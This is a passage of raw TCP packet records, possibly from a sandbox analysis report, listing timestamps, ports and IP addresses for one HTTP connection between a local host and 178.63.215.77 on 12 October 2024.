Oct 12, 2024 14:17:08.017668009 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.017674923 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.017699003 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.017720938 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.017728090 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.017740965 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.017771959 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.017779112 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.017812014 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.017837048 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.017852068 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.017863989 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.017895937 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.017906904 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.017926931 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.017944098 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.017975092 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.017988920 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.018007040 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.018018961 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.018055916 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.018069983 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.018086910 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.018119097 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.018132925 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.018166065 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.018167973 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.018203974 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.018214941 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.018235922 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.018246889 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.018270969 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.018277884 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.018304110 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.018326998 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.018337965 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.018345118 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.018369913 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.018383026 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.018404007 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.018436909 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.018436909 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.018445015 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.018480062 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.018491983 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.018521070 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.018522978 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.018570900 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.018573999 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.018603086 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.018625975 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.018645048 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.018651009 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.018682957 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.018697023 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.018714905 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.018738031 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.018745899 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.018769026 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.018794060 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.018794060 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.018825054 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.018846989 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.018857956 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.018865108 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.018888950 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.018914938 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.018923044 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.018933058 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.018968105 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.018975019 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.019006968 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.019018888 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.019040108 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.019073963 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.019078016 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.019078016 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.019105911 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.019125938 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.019139051 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.019150019 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.019170046 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.019181967 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.019202948 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.019215107 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.019234896 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.019244909 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.019268036 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.019278049 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.019299984 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.019316912 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.019330978 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.019335032 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.019362926 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.019402027 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.019402981 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.019433022 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.019465923 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.019498110 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.019498110 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.019520998 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.019530058 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.019540071 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.019562006 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.019596100 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.019603014 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.019603014 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.019629955 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.019637108 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.019664049 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.019671917 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.019716024 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.019742012 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.019748926 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.019757032 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.019782066 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.019793987 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.019814968 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.019834042 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.019845963 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.019854069 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.019877911 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.019902945 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.019910097 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.019918919 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.019942999 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.019956112 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.019973993 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.019996881 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.020006895 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.020015001 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.020039082 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.020059109 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.020071030 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.020078897 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.020102978 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.020117044 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.020134926 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.020142078 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.020168066 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.020190001 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.020200968 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.020214081 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.020234108 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.020246983 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.020273924 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.020279884 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.020306110 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.020332098 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.020347118 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.025337934 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.025386095 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.025412083 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.025430918 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.025444031 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.025495052 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.025496006 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.025530100 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.025552988 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.025569916 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.025580883 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.025613070 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.025620937 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.025645971 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.025655985 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.025679111 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.025692940 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.025712013 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.025722980 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.025744915 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.025760889 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.025777102 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.025779009 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.025809050 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.025821924 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.025841951 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.025850058 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.025880098 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.025887012 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.025908947 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.025933027 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.025943041 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.025953054 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.025974035 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.026001930 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.026021957 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.026024103 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.026055098 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.026068926 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.026087046 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.026098013 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.026119947 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.026129007 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.026154041 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.026160002 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.026185036 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.026199102 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.026217937 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.026221991 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.026252985 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.026257992 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.026297092 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.105918884 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.105986118 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.105998039 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.106019020 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.106033087 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.106051922 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.106062889 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.106084108 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.106106043 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.106116056 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.106121063 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.106148005 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.106168985 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.106185913 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.106203079 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.106306076 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.106311083 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.106334925 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.106357098 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.106370926 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.106383085 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.106415987 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.106439114 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.106446028 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.106456041 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.106477976 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.106524944 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.106524944 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.106544018 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.106585026 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.106631994 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.106683016 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.106684923 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.106730938 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.106733084 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.106761932 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.106784105 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.106800079 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.106811047 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.106842041 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.106873035 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.106878042 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.106898069 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.106899977 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.106949091 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.106954098 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.106954098 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.106997013 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.107002020 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.107028008 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.107048035 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.107060909 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.107072115 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.107109070 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.107111931 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.107141018 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.107156038 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.107173920 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.107184887 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.107206106 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.107228994 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.107244968 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.107254982 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.107287884 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.107311010 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.107319117 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.107346058 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.107362986 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.107371092 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.107414961 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.107422113 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.107454062 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.107460976 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.107486010 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.107496977 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.107517958 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.107547045 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.107549906 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.107583046 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.107588053 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.107608080 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.107614040 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.107626915 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.107671022 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.107717037 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.107765913 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.107815027 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.107815981 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.107846975 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.107857943 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.107877970 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.107880116 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.107893944 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.107909918 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.107942104 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.107943058 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.107969046 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.107989073 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.107992887 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.108042955 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.108050108 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.108092070 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.108093977 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.108124971 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.108141899 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.108156919 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.108189106 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.108217001 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.108221054 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.108244896 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.108254910 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.108258963 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.108285904 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.108302116 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.108319998 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.108344078 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.108357906 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.108366966 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.108402014 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.108422995 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.108442068 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.108449936 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.108484030 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.108493090 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.108515024 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.108527899 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.108546972 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.108556986 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.108578920 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.108592987 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.108611107 CEST	80	49730	178.63.215.77	192.168.2.4
